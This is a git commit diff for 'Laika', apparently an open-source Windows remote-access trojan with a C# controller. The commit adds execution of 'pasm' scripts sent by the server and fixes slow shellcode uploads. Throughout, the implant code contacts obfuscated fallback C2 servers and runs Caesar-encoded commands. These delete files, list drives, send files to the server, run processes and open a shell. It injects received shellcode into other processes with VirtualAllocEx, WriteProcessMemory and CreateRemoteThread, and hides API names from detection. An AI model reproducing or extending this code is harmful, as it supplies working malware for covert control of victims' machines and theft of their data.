add: pasm integration, slow shellcode upload & disconnects fix, bot count fix

This commit is contained in:
2024-08-22 11:33:24 +02:00
parent e53d92c84a
commit 524d2f7615
32 changed files with 19150 additions and 148 deletions

1
.gitignore vendored
View File

@@ -6,3 +6,4 @@ x64
*.bin
bin
obj
packages

View File

@@ -4,9 +4,17 @@ Microsoft Visual Studio Solution File, Format Version 12.00
VisualStudioVersion = 17.1.32407.343
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Laika", "Laika\Laika.vcxproj", "{6C8DD8FE-E960-43B4-B757-EFFA9FE6BB00}"
ProjectSection(ProjectDependencies) = postProject
{6365D58B-DF8C-46B2-A93D-78D988A34FE8} = {6365D58B-DF8C-46B2-A93D-78D988A34FE8}
EndProjectSection
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Server", "Server\Server.csproj", "{ECBAF9B2-2988-480B-973E-50A6BDC7016E}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "pasm", "pasm\msvc\pasm.vcxproj", "{6365D58B-DF8C-46B2-A93D-78D988A34FE8}"
ProjectSection(ProjectDependencies) = postProject
{ECBAF9B2-2988-480B-973E-50A6BDC7016E} = {ECBAF9B2-2988-480B-973E-50A6BDC7016E}
EndProjectSection
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
@@ -41,6 +49,18 @@ Global
{ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Release|x64.Build.0 = Release|Any CPU
{ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Release|x86.ActiveCfg = Release|Any CPU
{ECBAF9B2-2988-480B-973E-50A6BDC7016E}.Release|x86.Build.0 = Release|Any CPU
{6365D58B-DF8C-46B2-A93D-78D988A34FE8}.Debug|Any CPU.ActiveCfg = Debug|x64
{6365D58B-DF8C-46B2-A93D-78D988A34FE8}.Debug|Any CPU.Build.0 = Debug|x64
{6365D58B-DF8C-46B2-A93D-78D988A34FE8}.Debug|x64.ActiveCfg = Debug|x64
{6365D58B-DF8C-46B2-A93D-78D988A34FE8}.Debug|x64.Build.0 = Debug|x64
{6365D58B-DF8C-46B2-A93D-78D988A34FE8}.Debug|x86.ActiveCfg = Debug|Win32
{6365D58B-DF8C-46B2-A93D-78D988A34FE8}.Debug|x86.Build.0 = Debug|Win32
{6365D58B-DF8C-46B2-A93D-78D988A34FE8}.Release|Any CPU.ActiveCfg = Release|x64
{6365D58B-DF8C-46B2-A93D-78D988A34FE8}.Release|Any CPU.Build.0 = Release|x64
{6365D58B-DF8C-46B2-A93D-78D988A34FE8}.Release|x64.ActiveCfg = Release|x64
{6365D58B-DF8C-46B2-A93D-78D988A34FE8}.Release|x64.Build.0 = Release|x64
{6365D58B-DF8C-46B2-A93D-78D988A34FE8}.Release|x86.ActiveCfg = Release|Win32
{6365D58B-DF8C-46B2-A93D-78D988A34FE8}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE

View File

@@ -74,6 +74,7 @@
<LinkIncremental>true</LinkIncremental>
<OutDir>..\bin\</OutDir>
<IntDir>..\obj\</IntDir>
<LibraryPath>$(SolutionDir)pasm/bin;../pasm/bin;$(LibraryPath)</LibraryPath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>true</LinkIncremental>
@@ -84,11 +85,13 @@
<EnableMicrosoftCodeAnalysis>false</EnableMicrosoftCodeAnalysis>
<OutDir>..\bin\</OutDir>
<IntDir>..\obj\</IntDir>
<LibraryPath>$(SolutionDir)pasm/bin;../pasm/bin;$(LibraryPath)</LibraryPath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
<OutDir>..\bin\</OutDir>
<IntDir>..\obj\</IntDir>
<LibraryPath>$(SolutionDir)pasm/bin;../pasm/bin;$(LibraryPath)</LibraryPath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
@@ -97,6 +100,7 @@
<ClangTidyChecks>*</ClangTidyChecks>
<OutDir>..\bin\</OutDir>
<IntDir>..\obj\</IntDir>
<LibraryPath>$(SolutionDir)pasm/bin;../pasm/bin;$(LibraryPath)</LibraryPath>
</PropertyGroup>
<PropertyGroup Label="Vcpkg">
<VcpkgEnabled>false</VcpkgEnabled>
@@ -117,7 +121,7 @@
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalDependencies>pasm.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
<EntryPointSymbol>main</EntryPointSymbol>
<ImageHasSafeExceptionHandlers>true</ImageHasSafeExceptionHandlers>
@@ -147,7 +151,7 @@
<StackReserveSize>
</StackReserveSize>
<GenerateMapFile>false</GenerateMapFile>
<AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalDependencies>pasm.lib;%(AdditionalDependencies)</AdditionalDependencies>
<SectionAlignment>
</SectionAlignment>
<AddModuleNamesToAssembly>
@@ -165,11 +169,12 @@
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<LanguageStandard>stdcpp20</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>msvcrt.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalDependencies>pasm.lib;msvcrt.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
@@ -178,18 +183,19 @@
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<Optimization>Disabled</Optimization>
<FavorSizeOrSpeed>Neither</FavorSizeOrSpeed>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<LanguageStandard>stdcpp20</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalDependencies>pasm.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreAllDefaultLibraries>
</IgnoreAllDefaultLibraries>
<RandomizedBaseAddress>false</RandomizedBaseAddress>

View File

@@ -72,7 +72,7 @@ char* get_file_list(const char* dirPath, int* numFiles) {
// Add the file/folder name to the array
if (numFound >= maxFiles) {
maxFiles *= 2;
fileList = (char**)Api.HeapReAlloc(_crt_heap, HEAP_ZERO_MEMORY, fileList, maxFiles * sizeof(char*));
fileList = (char**)Api.Heaprealloc_(_crt_heap, HEAP_ZERO_MEMORY, fileList, maxFiles * sizeof(char*));
}
fileList[numFound] = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, strlen(fileName) + 1);
strcpy(fileList[numFound], fileName);
@@ -95,10 +95,10 @@ char* get_file_list(const char* dirPath, int* numFiles) {
if (i < numFound - 1) {
strcat(fileNames, "/");
}
Api.HeapFree(_crt_heap, 0, fileList[i]);
Api.Heapfree_(_crt_heap, 0, fileList[i]);
}
Api.HeapFree(_crt_heap, 0, fileList);
Api.Heapfree_(_crt_heap, 0, fileList);
// Set the numFiles parameter to the number of files/folders found
*numFiles = numFound;
@@ -186,7 +186,7 @@ int download_file(HANDLE fp, SOCKET sock) {
FD_SET(sock, &write_fds);
if (Api.select(sock + 1, NULL, &write_fds, NULL, NULL) == SOCKET_ERROR) {
Api.HeapFree(_crt_heap, 0, data);
Api.Heapfree_(_crt_heap, 0, data);
Api.CloseHandle(fp);
Sleep_(Sleep_TIME);
return 0;
@@ -194,7 +194,7 @@ int download_file(HANDLE fp, SOCKET sock) {
}
else {
Api.send(sock, "<Laika:EOF>", strlen("<Laika:EOF>"), 0);
Api.HeapFree(_crt_heap, 0, data);
Api.Heapfree_(_crt_heap, 0, data);
Api.CloseHandle(fp);
Sleep_(Sleep_TIME);
return 0;
@@ -209,7 +209,7 @@ int download_file(HANDLE fp, SOCKET sock) {
Api.send(sock, "<Laika:EOF>", strlen("<Laika:EOF>"), 0);
Api.CloseHandle(fp);
Api.HeapFree(_crt_heap, 0, data);
Api.Heapfree_(_crt_heap, 0, data);
return 1;
}
@@ -239,7 +239,7 @@ void upload_file(SOCKET sock, HANDLE file_handle) {
}
// Close the file handle
Api.HeapFree(_crt_heap, 0, buffer);
Api.Heapfree_(_crt_heap, 0, buffer);
return;
}
@@ -253,7 +253,7 @@ char* upload_file_to_mem(SOCKET sock, size_t *total_bytes) {
int num_bytes = 0;
size_t buffer_capacity = BUFFER_SIZE;
int iOptVal = 5000;
int iOptVal = 500;
int iOptLen = sizeof(int);
Api.setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char*)&iOptVal, iOptLen);
@@ -262,13 +262,13 @@ char* upload_file_to_mem(SOCKET sock, size_t *total_bytes) {
while ((num_bytes = Api.recv(sock, buffer + *total_bytes, BUFFER_SIZE, 0)) > 0 || (num_bytes == -1 && Api.WSAGetLastError() == WSAEWOULDBLOCK)) {
if (num_bytes > 0) {
*total_bytes += num_bytes;
// Reallocate the buffer if necessary
// realloc_ate the buffer if necessary
if (*total_bytes + BUFFER_SIZE > buffer_capacity) {
buffer_capacity *= 2;
char* new_buffer = (char*)Api.HeapReAlloc(_crt_heap, HEAP_ZERO_MEMORY, buffer, buffer_capacity);
char* new_buffer = (char*)Api.Heaprealloc_(_crt_heap, HEAP_ZERO_MEMORY, buffer, buffer_capacity);
if (!new_buffer) {
Api.HeapFree(_crt_heap, 0, buffer);
return NULL; // Memory reallocation failed
Api.Heapfree_(_crt_heap, 0, buffer);
return NULL; // Memory realloc_ation failed
}
buffer = new_buffer;
}
@@ -277,11 +277,11 @@ char* upload_file_to_mem(SOCKET sock, size_t *total_bytes) {
buffer[*total_bytes] = '\0';
// Reallocate to the exact size of the received data
char* final_buffer = (char*)Api.HeapReAlloc(_crt_heap, HEAP_ZERO_MEMORY, buffer, *total_bytes);
// realloc_ate to the exact size of the received data
char* final_buffer = (char*)Api.Heaprealloc_(_crt_heap, HEAP_ZERO_MEMORY, buffer, *total_bytes);
if (!final_buffer) {
Api.HeapFree(_crt_heap, 0, buffer);
return NULL; // Memory reallocation failed
Api.Heapfree_(_crt_heap, 0, buffer);
return NULL; // Memory realloc_ation failed
}
return final_buffer;

View File

@@ -19,6 +19,16 @@ char* strcpy_(char* dest, const char* src) {
return dest;
}
char* strncpy_(char* dest, const char* src, size_t n) {
size_t i = 0;
for (; i < n && src[i] != 0; i++)
dest[i] = src[i];
for (; i < n; i++)
dest[i] = 0;
return dest;
}
void *memset_(void* a, int val, size_t size) {
if (a == NULL)
return NULL;
@@ -168,6 +178,56 @@ wchar_t* wcsstr_(const wchar_t* haystack, const wchar_t* needle) {
return NULL;
}
char** split_lines(const char* fileContent, int* lineCount) {
int lines = 0;
const char* start = fileContent;
const char* end = fileContent;
char** result = NULL;
while (*end != '\0') {
if (*end == '\n') {
int lineLength = end - start + 1;
if (result == NULL) {
result = Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, sizeof(char*) * (lines + 1));
}
else {
result = Api.Heaprealloc_(_crt_heap, HEAP_ZERO_MEMORY, result, sizeof(char*) * (lines + 1));
}
result[lines] = Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, lineLength + 1);
strncpy_(result[lines], start, lineLength);
result[lines][lineLength] = '\0';
lines++;
if (*end == '\r' && *(end + 1) == '\n') {
end++;
}
else if (*end == '\n' && *(end + 1) == '\r') {
end++;
}
start = end + 1;
}
end++;
}
if (start != end) {
int lineLength = end - start;
if (result == NULL) {
result = Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, sizeof(char*) * (lines + 1));
}
else {
result = Api.Heaprealloc_(_crt_heap, HEAP_ZERO_MEMORY, result, sizeof(char*) * (lines + 1));
}
result[lines] = Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, lineLength + 1);
strncpy_(result[lines], start, lineLength);
result[lines][lineLength] = '\0'; // Null-terminate the line
lines++;
}
*lineCount = lines;
return result;
}
void* my_GetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
if (hModule == NULL) {
return NULL;

View File

@@ -12,5 +12,6 @@ size_t mbstowcs_(wchar_t* dest, const char* src, size_t n);
size_t wcstombs_(char* dest, const wchar_t* src, size_t n);
int wcscmp_(const wchar_t* s1, const wchar_t* s2);
wchar_t* wcsstr_(const wchar_t* haystack, const wchar_t* needle);
char** split_lines(const char* fileContent, int* lineCount);
void* my_GetProcAddress(HMODULE hModule, LPCSTR lpProcName);
void* get_ntfunction(const char* func);

View File

@@ -1,4 +1,5 @@
#include "libc.h"
#include "../pasm/include/pasm.h"
#include <Windows.h>
#include <wininet.h>
@@ -8,6 +9,7 @@
#include "utils.h"
#include "config.h"
#include "resolve_apis.h"
#include "libc.h"
#include "file_explorer.h"
#define SHELLCODE
@@ -50,7 +52,7 @@ DWORD WINAPI redirect_i_thread(LPVOID lpParameter) {
}
}
Api.HeapFree(_crt_heap, 0, buffer);
Api.Heapfree_(_crt_heap, 0, buffer);
return 0;
}
@@ -86,7 +88,7 @@ DWORD WINAPI redirect_o_thread(LPVOID lpParameter) {
}
}
}
Api.HeapFree(_crt_heap, 0, buffer);
Api.Heapfree_(_crt_heap, 0, buffer);
return 0;
}
@@ -162,7 +164,7 @@ retry:
serv = 0;
}
//on fait une copie de l'ip chiffr<66>e, puis on la free
//on fait une copie de l'ip chiffr<66>e, puis on la free_
//<2F>a <20>vite qu'elle reste dans la m<>moire trop longtemps
//<2F>a <20>vite aussi qu'on utilise CAESAR_DECRYPT sur une ip d<>j<EFBFBD> d<>crypt<70>e
size_t len = strlen(fallback_servers[serv]);
@@ -171,7 +173,7 @@ retry:
server.sin_addr.s_addr = Api.inet_addr(CAESAR_DECRYPT(Tmp));
Api.HeapFree(_crt_heap, 0, Tmp);
Api.Heapfree_(_crt_heap, 0, Tmp);
server.sin_port = Api.htons(fallback_servers_ip[serv]);
@@ -211,14 +213,14 @@ retry:
if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
{
//recv failed
Api.HeapFree(_crt_heap, 0, path);
Api.Heapfree_(_crt_heap, 0, path);
Sleep_(Sleep_TIME);
goto retry;
}
Api.DeleteFileA(CAESAR_DECRYPT(path));
Api.HeapFree(_crt_heap, 0, path);
Api.Heapfree_(_crt_heap, 0, path);
}
if (strncmp_(server_reply, "ijqdinw", strlen("ijqdinw")) == 0) { //del_dir
@@ -228,7 +230,7 @@ retry:
if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
{
//recv failed
Api.HeapFree(_crt_heap, 0, path);
Api.Heapfree_(_crt_heap, 0, path);
Sleep_(Sleep_TIME);
goto retry;
}
@@ -237,8 +239,8 @@ retry:
delete_folder(wstr);
Api.HeapFree(_crt_heap, 0, (LPWSTR)wstr);
Api.HeapFree(_crt_heap, 0, path);
Api.Heapfree_(_crt_heap, 0, (LPWSTR)wstr);
Api.Heapfree_(_crt_heap, 0, path);
}
if (strncmp_(server_reply, "ljydtgodnskt", strlen("ljydtgodnskt")) == 0) { //get_obj_info
@@ -248,12 +250,12 @@ retry:
if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
{
//recv failed
Api.HeapFree(_crt_heap, 0, path);
Api.Heapfree_(_crt_heap, 0, path);
Sleep_(Sleep_TIME);
goto retry;
}
char infos = get_obj_info(CAESAR_DECRYPT(path));
Api.HeapFree(_crt_heap, 0, path);
Api.Heapfree_(_crt_heap, 0, path);
if (Api.send(sock, &infos, 1, 0) < 0) {
//send failed
Sleep_(Sleep_TIME);
@@ -268,12 +270,12 @@ retry:
if (Api.send(sock, drives, strlen(drives), 0) < 0) {
//send failed
Api.HeapFree(_crt_heap, 0, drives);
Api.Heapfree_(_crt_heap, 0, drives);
Sleep_(Sleep_TIME);
goto retry;
}
Api.HeapFree(_crt_heap, 0, drives);
Api.Heapfree_(_crt_heap, 0, drives);
}
if (strncmp_(server_reply, "j}jhzyj", strlen("j}jhzyj")) == 0) { //execute
@@ -286,7 +288,7 @@ retry:
memset_(&pi, 0, sizeof(pi));
if (Api.recv(sock, path, MAX_PATH, 0) <= 0) {
Api.HeapFree(_crt_heap, 0, path);
Api.Heapfree_(_crt_heap, 0, path);
Sleep_(Sleep_TIME);
goto retry;
}
@@ -304,7 +306,7 @@ retry:
&pi // Pointer to PROCESS_INFORMATION structure
);
Api.HeapFree(_crt_heap, 0, path);
Api.Heapfree_(_crt_heap, 0, path);
}
#ifdef SHELLCODE
@@ -313,7 +315,7 @@ retry:
if (Api.recv(sock, arch, 2, 0) <= 0) {
//send failed
Api.HeapFree(_crt_heap, 0, arch);
Api.Heapfree_(_crt_heap, 0, arch);
Sleep_(Sleep_TIME);
goto retry;
}
@@ -335,11 +337,11 @@ retry:
proc = FindProcessByArch(L"x64");
}
Api.HeapFree(_crt_heap, 0, arch);
Api.Heapfree_(_crt_heap, 0, arch);
if (proc == NULL) {
Api.send(sock, "fail", strlen("fail"), 0);
Api.HeapFree(_crt_heap, 0, file);
Api.Heapfree_(_crt_heap, 0, file);
Sleep_(Sleep_TIME);
goto retry;
}
@@ -347,7 +349,7 @@ retry:
LPVOID addr = Api.VirtualAllocEx(proc, NULL, fsize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (addr == NULL) {
Api.send(sock, "fail", strlen("fail"), 0);
Api.HeapFree(_crt_heap, 0, file);
Api.Heapfree_(_crt_heap, 0, file);
Api.CloseHandle(proc);
Sleep_(Sleep_TIME);
goto retry;
@@ -355,7 +357,7 @@ retry:
if (Api.WriteProcessMemory(proc, addr, file, fsize, NULL) == 0) {
Api.send(sock, "fail", strlen("fail"), 0);
Api.HeapFree(_crt_heap, 0, file);
Api.Heapfree_(_crt_heap, 0, file);
Api.CloseHandle(proc);
Sleep_(Sleep_TIME);
goto retry;
@@ -364,13 +366,13 @@ retry:
HANDLE hThread = Api.CreateRemoteThread(proc, NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL);
if (hThread == NULL) {
Api.send(sock, "fail", strlen("fail"), 0);
Api.HeapFree(_crt_heap, 0, file);
Api.Heapfree_(_crt_heap, 0, file);
Api.CloseHandle(proc);
Sleep_(Sleep_TIME);
goto retry;
}
Api.HeapFree(_crt_heap, 0, file);
Api.Heapfree_(_crt_heap, 0, file);
Api.CloseHandle(proc);
Api.CloseHandle(hThread);
Api.send(sock, "ok", strlen("ok"), 0);
@@ -384,8 +386,8 @@ retry:
if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
{
//recv failed
Api.HeapFree(_crt_heap, 0, file_list);
Api.HeapFree(_crt_heap, 0, path);
Api.Heapfree_(_crt_heap, 0, file_list);
Api.Heapfree_(_crt_heap, 0, path);
Sleep_(Sleep_TIME);
goto retry;
}
@@ -394,8 +396,8 @@ retry:
file_list = get_file_list(CAESAR_DECRYPT(path), &num_files);
if (file_list == NULL) {
Api.HeapFree(_crt_heap, 0, file_list);
Api.HeapFree(_crt_heap, 0, path);
Api.Heapfree_(_crt_heap, 0, file_list);
Api.Heapfree_(_crt_heap, 0, path);
Sleep_(Sleep_TIME);
goto retry;
}
@@ -403,13 +405,13 @@ retry:
if (Api.send(sock, file_list, strlen(file_list), 0) < 0) {
//send failed
Api.HeapFree(_crt_heap, 0, file_list);
Api.HeapFree(_crt_heap, 0, path);
Api.Heapfree_(_crt_heap, 0, file_list);
Api.Heapfree_(_crt_heap, 0, path);
Sleep_(Sleep_TIME);
goto retry;
}
Api.HeapFree(_crt_heap, 0, path);
Api.Heapfree_(_crt_heap, 0, path);
}
if (strncmp_(server_reply, "it|sqtfidknqj", strlen("it|sqtfidknqj")) == 0) { //download_file
@@ -419,13 +421,13 @@ retry:
if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
{
//recv failed
Api.HeapFree(_crt_heap, 0, path);
Api.Heapfree_(_crt_heap, 0, path);
Sleep_(Sleep_TIME);
goto retry;
}
HANDLE hFile = Api.CreateFileA(CAESAR_DECRYPT(path), GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
Api.HeapFree(_crt_heap, 0, path);
Api.Heapfree_(_crt_heap, 0, path);
if (hFile == NULL)
{
@@ -446,7 +448,7 @@ retry:
if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
{
//recv failed
Api.HeapFree(_crt_heap, 0, path);
Api.Heapfree_(_crt_heap, 0, path);
Sleep_(Sleep_TIME);
goto retry;
}
@@ -455,17 +457,17 @@ retry:
HANDLE file_handle = Api.CreateFileW(wstr, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (file_handle == INVALID_HANDLE_VALUE) {
Api.HeapFree(_crt_heap, 0, path);
Api.HeapFree(_crt_heap, 0, (LPWSTR)wstr);
Api.Heapfree_(_crt_heap, 0, path);
Api.Heapfree_(_crt_heap, 0, (LPWSTR)wstr);
goto retry;
}
Api.HeapFree(_crt_heap, 0, (LPWSTR)wstr);
Api.Heapfree_(_crt_heap, 0, (LPWSTR)wstr);
upload_file(sock, file_handle);
Api.CloseHandle(file_handle);
Api.HeapFree(_crt_heap, 0, path);
Api.Heapfree_(_crt_heap, 0, path);
}
if (strncmp_(server_reply, "xmjqq", strlen("xmjqq")) == 0) { //shell
@@ -591,11 +593,37 @@ retry:
goto retry;
}
}
if (strncmp_(server_reply, "ufxr", strlen("ufxr")) == 0) { //pasm
size_t fsize = 0;
char* file = upload_file_to_mem(sock, &fsize);
if (file == NULL) {
Api.send(sock, "fail", strlen("fail"), 0);
Sleep_(Sleep_TIME);
goto retry;
}
int line_count = 0;
char** lines = split_lines(file, &line_count);
if (lines == NULL) {
Api.send(sock, "fail", strlen("fail"), 0);
Api.Heapfree_(_crt_heap, 0, file);
Sleep_(Sleep_TIME);
goto retry;
}
pasm_run_script(NULL, lines, line_count, sock);
Api.send(sock, "Qfnpf?%jsi%tk%xhwnuy", strlen("Qfnpf?%jsi%tk%xhwnuy"), 0); //Laika: end of script
Api.Heapfree_(_crt_heap, 0, file);
if (lines != NULL)
Api.Heapfree_(_crt_heap, 0, lines);
}
}
/* Never used
Api.closesocket(sock);
FreeApis();
free_Apis();
*/
return 0;
}

View File

@@ -26,8 +26,8 @@ void InitApis() {
Api.CreateFileA = (TCreateFileA)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqjF"));
Api.HeapAlloc = (THeapAlloc)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("MjfuFqqth"));
Api.HeapCreate = (THeapCreate)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("MjfuHwjfyj"));
Api.HeapFree = (THeapFree)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("MjfuKwjj"));
Api.HeapReAlloc = (THeapReAlloc)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("MjfuWjFqqth"));
Api.Heapfree_ = (THeapfree_)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("MjfuKwjj"));
Api.Heaprealloc_ = (THeaprealloc_)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("MjfuWjFqqth"));
Api.CreateFileW = (TCreateFileW)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("HwjfyjKnqj\\"));
Api.ReadFile = (TReadFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("WjfiKnqj"));
Api.WriteFile = (TWriteFile)Api.GetProcAddress(hKernel32, CAESAR_DECRYPT("\\wnyjKnqj"));

View File

@@ -51,9 +51,9 @@ typedef HANDLE(WINAPI* TCreateRemoteThread)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_
typedef HANDLE(WINAPI* TCreateFileA)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
typedef BOOL(WINAPI* TCreateProcessA)(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
typedef LPVOID(WINAPI* THeapAlloc)(HANDLE, DWORD, SIZE_T);
typedef BOOL(WINAPI* THeapFree)(HANDLE, DWORD, LPVOID);
typedef BOOL(WINAPI* THeapfree_)(HANDLE, DWORD, LPVOID);
typedef HANDLE(WINAPI* THeapCreate)(DWORD, SIZE_T, SIZE_T);
typedef LPVOID(WINAPI* THeapReAlloc)(HANDLE, DWORD, LPVOID, SIZE_T);
typedef LPVOID(WINAPI* THeaprealloc_)(HANDLE, DWORD, LPVOID, SIZE_T);
typedef BOOL(WINAPI* TDeleteFileA)(LPCSTR);
typedef BOOL(WINAPI* TFindClose)(HANDLE);
typedef DWORD(WINAPI* TGetLogicalDrives)(VOID);
@@ -85,8 +85,8 @@ typedef struct ApiList {
TCreateProcessA CreateProcessA;
TCreateRemoteThread CreateRemoteThread;
THeapCreate HeapCreate;
THeapFree HeapFree;
THeapReAlloc HeapReAlloc;
THeapfree_ Heapfree_;
THeaprealloc_ Heaprealloc_;
THeapAlloc HeapAlloc;
TDeleteFileA DeleteFileA;
TCreateFileW CreateFileW;
@@ -116,5 +116,7 @@ typedef struct ApiList {
TlstrcatW lstrcatW;
} API;
extern API Api;
void InitApis();
//void FreeApis(); Never called
//void free_Apis(); Never called

View File

@@ -1,8 +1,6 @@
#include "shellcode.h"
#include "libc.h"
extern API Api;
HANDLE FindProcessByArch(const wchar_t* arch)
{
STARTUPINFOW si;

Binary file not shown.

Before

Width:  |  Height:  |  Size: 22 KiB

After

Width:  |  Height:  |  Size: 50 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 11 KiB

After

Width:  |  Height:  |  Size: 21 KiB

BIN
Screenshots/pasm_editor.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 30 KiB

View File

@@ -3,4 +3,12 @@
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8" />
</startup>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<dependentAssembly>
<assemblyIdentity name="System.Runtime.CompilerServices.Unsafe" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />
</dependentAssembly>
</assemblyBinding>
</runtime>
</configuration>

View File

@@ -53,10 +53,20 @@
this.button3 = new System.Windows.Forms.Button();
this.pictureBox1 = new System.Windows.Forms.PictureBox();
this.label9 = new System.Windows.Forms.Label();
this.label10 = new System.Windows.Forms.Label();
this.label11 = new System.Windows.Forms.Label();
this.label12 = new System.Windows.Forms.Label();
this.Selected_apis = new System.Windows.Forms.ListBox();
this.searchBox = new System.Windows.Forms.TextBox();
this.searchResultsListBox = new System.Windows.Forms.ListBox();
this.label13 = new System.Windows.Forms.Label();
this.contextMenuStrip2 = new System.Windows.Forms.ContextMenuStrip(this.components);
this.toolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.contextMenuStrip1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
this.contextMenuStrip2.SuspendLayout();
this.SuspendLayout();
//
// Hosts
@@ -241,7 +251,7 @@
// button2
//
this.button2.Enabled = false;
this.button2.Location = new System.Drawing.Point(81, 415);
this.button2.Location = new System.Drawing.Point(257, 415);
this.button2.Name = "button2";
this.button2.Size = new System.Drawing.Size(213, 38);
this.button2.TabIndex = 18;
@@ -293,11 +303,94 @@
this.label9.Size = new System.Drawing.Size(325, 2);
this.label9.TabIndex = 23;
//
// label10
//
this.label10.BorderStyle = System.Windows.Forms.BorderStyle.Fixed3D;
this.label10.Location = new System.Drawing.Point(363, 15);
this.label10.Name = "label10";
this.label10.Size = new System.Drawing.Size(2, 394);
this.label10.TabIndex = 24;
//
// label11
//
this.label11.AutoSize = true;
this.label11.Location = new System.Drawing.Point(371, 9);
this.label11.Name = "label11";
this.label11.Size = new System.Drawing.Size(64, 13);
this.label11.TabIndex = 25;
this.label11.Text = "pasm config";
//
// label12
//
this.label12.BorderStyle = System.Windows.Forms.BorderStyle.Fixed3D;
this.label12.Location = new System.Drawing.Point(437, 15);
this.label12.Name = "label12";
this.label12.Size = new System.Drawing.Size(254, 2);
this.label12.TabIndex = 26;
//
// Selected_apis
//
this.Selected_apis.FormattingEnabled = true;
this.Selected_apis.Location = new System.Drawing.Point(374, 41);
this.Selected_apis.Name = "Selected_apis";
this.Selected_apis.Size = new System.Drawing.Size(173, 368);
